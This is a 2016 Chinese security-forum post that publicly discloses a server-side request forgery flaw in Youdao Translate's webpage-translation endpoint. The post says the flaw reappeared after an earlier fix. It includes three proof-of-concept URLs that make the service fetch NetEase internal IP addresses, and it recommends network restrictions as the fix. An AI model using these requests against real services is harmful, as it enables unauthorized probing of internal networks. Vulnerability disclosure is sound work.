HanDs
NO.2

[7月漏洞公开] 有道翻译SSRF可通网易内网 





学习中请遵循国家相关法律法规,黑客不作恶。没有网络安全就没有国家安全

本站需要登陆后才能查看

回滚了?

详细说明:

之前长歌兄爆过一次,当时看到标题后也找到具体位置,厂商过几天也修复了。

刚碰巧用了一下有道翻译顺手再看了一下发现又可以复现,估计是回滚了。

漏洞证明:

http://fanyi.youdao.com/WebpageTranslate?keyfrom=webfanyi.top&url=http%3A%2F%2F10.100.21.7&type=EN2ZH_CN

1.jpg



http://fanyi.youdao.com/WebpageTranslate?keyfrom=webfanyi.top&url=http%3A%2F%2F10.100.21.22&type=EN2ZH_CN

2.jpg



http://fanyi.youdao.com/WebpageTranslate?keyfrom=webfanyi.top&url=10.100.21.3&type=EN2ZH_CN

3.jpg

修复方案:

做网络限制,还有别再回滚啦~~~


学习中请遵守法律法规,本网站内容均来自于互联网,本网站不负担法律责任
有道 翻译 S SR F 网易
#1楼
发帖时间:2016-7-14   |   查看数:0   |   回复数:0
游客组